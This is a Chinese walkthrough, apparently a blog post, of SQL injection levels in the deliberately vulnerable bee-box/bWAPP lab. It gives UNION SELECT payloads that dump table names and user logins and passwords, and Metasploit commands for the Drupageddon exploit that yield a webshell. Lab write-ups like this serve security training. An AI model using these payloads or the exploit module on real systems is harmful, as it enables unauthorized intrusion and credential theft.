beebox靶场A1 low 命令注入通关教程(中)

十一:sql注入 select

这个页面是一个选择性框

beebox靶场A1 low 命令注入通关教程(中)_第1张图片

我们通过选择不同的选项发现上面url中的movie也在不同的变法。那再查看源码得知,这是一个数字型的注入点

beebox靶场A1 low 命令注入通关教程(中)_第2张图片

那我们就可以构造payload在movie后面改变内容,首先进行爆列数payload为 1 order by 8 时显示未知的列

得到该数据库会回显七列,接下来就可以进行爆数据库

进行测试可得知第2列有回显那位payload为1 and 1=2 union select 1,database(),3,4,5,6,7

beebox靶场A1 low 命令注入通关教程(中)_第3张图片

这样就拿到了数据库,接下来可以爆表,爆字段等操作

十二:sql 注入 AJAX/JSON/jQuery

AJAX 是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术。

一、什么是 AJAX ?

AJAX = Asynchronous JavaScript and XML(AJAX = 异步 JavaScript 和 XML。)。

AJAX 不是新的编程语言,而是一种使用现有标准的新方法。

AJAX 是一种用于创建快速动态网页的技术。

通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。

传统的网页(不使用 AJAX)如果需要更新内容,必需重载整个网页面。

有很多使用 AJAX 的应用程序案例:新浪微博、Google 地图、开心网等等。

这个页面是动态刷新的,所以没有提交按钮,其他的就跟上面那个search型差不多

例:当写入1 'order by 7# 时,依旧显示没有找到电影,当写到1 'order by 8#时会发现没有页面返回了,这证明爆到了列数为7列,那接下来老生常谈,爆库,表,字段一类的,爆库的代码为1 'and 1=2 union select 1,database(),3,4,5,6,7#

beebox靶场A1 low 命令注入通关教程(中)_第4张图片

十三:sql注入 CAPTCHA

captcha同上一个一样,只是进入前需要输入验证码,进去后就可以进行测试和注入了

源码为 SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'

beebox靶场A1 low 命令注入通关教程(中)_第5张图片

十四:SQL 注入 (Login Form/Hero)

查看源码为 $sql = "SELECT * FROM heroes WHERE login = '" . $login . "' AND password = '" . $password . "'"

接着输入order by 进行测试, 当测到1 'order by 5# 时显示未知的列,证明回显有4列

beebox靶场A1 low 命令注入通关教程(中)_第6张图片

接下来继续爆库输入1 ' and 1=2 union select 1,2,3,database()#

beebox靶场A1 low 命令注入通关教程(中)_第7张图片

十五:SQL 注入(登录表单/用户)

源码为 $sql = "SELECT * FROM users WHERE login = '" . $login . "'"; if($row["login"] && $password == $row["password"])

先判断用户是否存在,如果存在再判断密码是否正确 注入只能在用户名处 结合数据库解读源码,注入流程为: 在用户名处使用联合查询注入,第三个字段必须是你填入的 密码通过 sha1 哈希之后的值

像这种带有输入框的都是先进行简单测试,通过order by 得到有9列

beebox靶场A1 low 命令注入通关教程(中)_第8张图片

爆库payload为

' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,user(),6,7,8,9 #

beebox靶场A1 low 命令注入通关教程(中)_第9张图片

爆表为 ' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(table_name) from information_schema.tables where table_schema=database()),6,7,8,9 #

beebox靶场A1 low 命令注入通关教程(中)_第10张图片

爆字段为

' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),6,7,8,9#

beebox靶场A1 low 命令注入通关教程(中)_第11张图片

爆字段中的数据为' union select 1,database(),"77de68daecd823babbb58edb1c8e14d7106e83bb",4,(select group_concat('~',login,'~',password) from users),6,7,8,9 #

beebox靶场A1 low 命令注入通关教程(中)_第12张图片

十六:SQL Injection (SQLite)

查看源码得知改查询为模糊查询

源码为 $sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";

那进行简单测试先构造闭合 1%' order by 6 --查询列数,当查到第7列时报错,证明回显6列,--的意思为sqlite中的注释符

beebox靶场A1 low 命令注入通关教程(中)_第13张图片

beebox靶场A1 low 命令注入通关教程(中)_第14张图片

接下来进行爆表

123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --

beebox靶场A1 low 命令注入通关教程(中)_第15张图片

爆字段 123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --

beebox靶场A1 low 命令注入通关教程(中)_第16张图片

爆数据 123%' union select 1,2,login,password,5,6 from users --

beebox靶场A1 low 命令注入通关教程(中)_第17张图片

十七:Drupal SQL 注入 Drupageddon

CVE-2014-3704: 翻译一下就是: 由于expandArguments()函数没有正确构造准 备好的语句,这使得远程攻击者能够通过包含精心编制的手 工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。 Drupal是一款开源内容管理系统(CMS),用户多达100万 以上(包括政府、电子零售、企业组织、金融机构等),除 非已经安装了针对Drupalgeddon 漏洞的安全补丁,否则, 所有用户都会面临该漏洞的严重威胁。 使用 MSF

这个就是个漏洞利用 use exploit/multi/http/drupal_drupageddon

set targeturi http://192.168.150.128/drupal/

set RHOSTS X.X.X.X

set rport XXXX

run

之后就可以根据这个漏洞利用来拿到webshell

beebox靶场A1 low 命令注入通关教程(中)_第18张图片

你可能感兴趣的:(数据库,网络安全,安全,web安全)